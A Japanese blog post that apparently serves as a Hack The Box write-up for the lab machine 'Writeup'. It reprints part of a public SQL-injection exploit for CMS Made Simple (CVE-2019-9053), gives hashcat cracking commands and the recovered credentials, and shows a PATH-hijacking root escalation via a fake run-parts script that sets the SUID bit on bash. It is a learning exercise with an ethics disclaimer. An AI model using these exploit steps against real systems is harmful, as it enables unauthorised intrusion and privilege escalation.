
我が名はジーク.X.フロイト。まだ駆け出しの、戦うペネトレイヤーである。
今回、Hack The Box のマシン 「Writeup」 を攻略した。
このマシンは単純なツール実行を許さない。背後に潜む防御機構の挙動を読み、自らの偵察結果とAIという「参謀」の知見を融合させ、その隙間を突く戦いとなった。
ご注意:
ペネトレーションテスト等、セキュリティ研究やテストを行う際は、常に倫理的な行動をとり、対象システムの所有者から適切な許可を得て行うことが重要だ。不正アクセスや攻撃は法律で禁止されており、重大な法的責任が伴う。
なので、あくまでも練習として、練習用のサーバーで行うのは、オッケーだが、ガチで実在のサーバーに対して、無許可で行うのは、捕まるので絶対やめた方がよい。
フォースを使っても、暗黒面に落ちてはならないのだ。
偵察:Eeyoreの監視と時間の壁
まずは nmap で全ポートスキャンを実施した。
nmap -sV -sC -Pn -p- --min-rate 10000 [IPアドレス]結果、22番ポートssh と 80番ポートhttpが開いていることが分かった。
しかし、ここからが難所であった。gobuster 等でディレクトリを探索すると、最初の3回こそ 403 Forbidden が返るが、その後は即座に Connection Refused で遮断される。

ブラウザでアクセスし、その理由が判明した。

Eeyore DoS protection script is in place. It watches for Apache 40x errors and bans bad IPs.
40xエラーを検知してIPを即BANする防御スクリプト Eeyore の存在だ。このBANは一定時間が経過すると解除される。遮断された場合は手を止め、静かに時間が過ぎるのを待つのがこの戦場でのルールだ。
とりあえず、セオリーに基づいて、/etc/hosts に writeup.htb を登録。
そしてBANが明けるのを、忍耐強く待つことが、まずは第一の関門となった。
脆弱性の特定:Exploit-DBと2to3による武器の調達
次に、セオリーに基づき、robots.txt を確認すると、/writeup/ というディレクトリの存在がわかった。

そのページにアクセスし、ソースコードを精査したところ、決定的な情報を見つけた。
Generator: CMS Made Simple – Copyright (C) 2004-2019
2019年で時が止まったCMS。この情報を元に Exploit-DB を検索。ターゲットに適合する SQLインジェクションのスクリプト(CVE-2019-9053 / 46635.py)を探し出した。
ただし、入手したスクリプトは旧時代の Python 2 用であった。現代の環境で稼働させるため、変換プログラム 2to3 を駆使し、Python 3 で動作するようにコードを再構築した。
# Python 3用に自動変換
2to3 -w 46635.py侵入:Eeyoreのスロットリングを越えて
再構築したスクリプト(46635.py)を実行する。
しかし、最初に出力されたハッシュは不完全なものであった。
- TIME=1 (デフォルト):
Password found: 62def4866937s等の虫食い状態。
ここでAIに相談。AIは、「Eeyoreがリクエスト過多を検知し、意図的な応答遅延(スロットリング)を発生させて判定を狂わせている可能性がある」と分析。
この「ノイズ」を上回る待機時間を設定するため、パラメータを調整し再試行を繰り返した。
パラメーターは、46635.pyの37行目でセットできる。
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print("[+] Specify an url target")
print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 3
db_name = ""
output = ""
email = ""
(ー 略 ー)- TIME=2: 改善は見られるが、まだ文字化けや欠損が残る。
- TIME=3: ついに、以下の正確なハッシュ を抽出した。
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
変換を終えた 46635.py――それは論理のバタリング・ラム(破城槌)。
丸太(クエリ)をCMSの城門へ、執拗に、絶え間なく叩きつける。
TIME=1を撥ね除け、TIME=3の重撃が門を粉砕。
瓦礫の底、jkrのハッシュという名の光明を掴み取った。
Hashcatによる高速解析
抽出したデータを hash:salt の形式で hash.txt にまとめ、Hashcat を起動する。
echo 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807 > hash.txt
hashcat -m 20 hash.txt /usr/share/wordlists/rockyou.txt解析の結果、パスワード raykayjay9 を奪取。SSHでの潜入に成功した。
権限昇格:PATH Hijackingと「掃除」への勝利
潜入後、linpeas.sh が指摘したのは、不自然な PATH の優先順位であった。
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin
/usr/local/bin 等に書き込み権限があり、かつ標準パスより優先されている。

linpeas.sh とは、自動偵察スクリプトである。
我が拠点(Local)で簡易HTTPサーバーを立て、城塞(Target)の書き込み可能なディレクトリ(/tmp など) へとダウンロードして使用する。
AIと共にこの指摘の真意を考え、「SSHログイン時にrootが実行する run-parts」を、自作の偽ファイルでハイジャックする作戦を立てた。
偽 run-parts のコード:
#!/bin/sh
chmod +s /bin/bash # BashをSUID化し、特権への裏口を作るただし、/usr/local/sbin 配下は定期的に「掃除」される仕掛けになっていた。偽ファイルを設置後、消去される前に別窓からSSHログインを試みる。rootが偽物を読み込み、/bin/bash に SUID ビットが立ったことを確認した。

システムの心理を読み解き、仕掛けた必然。
我が設置した『run-parts』という名のクレイモアが爆縮し、
rootの絶対領域は今、完全に掌握された。
あとは、強制モードでシェルを起動すれば終わりだ。プロンプトがrootを表す#となる。
/bin/bash -p
# root権限奪取成功結び:AIという名の参謀
今回の攻略において、AIは単なる「答えの出力機」ではなかった。
自ら収集した証拠に基づき、発生したトラブル(スロットリングやPATHの構造)を理論立てて説明してくれる「参謀」としての存在が大きかった。
しかし、どうやら、他のサイトに掲載された解法を参照しているらしく、お主は答えを知っておるな? と疑うぐらいの的確な回答だ。
初出の問題に対して、どのような効果を発揮するのかは、未知である。
現場の違和感を拾い上げ、Exploit-DBから武器を選び、AIの理論を借りてパラメータを研ぎ澄ます。これこそが、現代のペネトレイヤーに求められる戦い方である。

コメント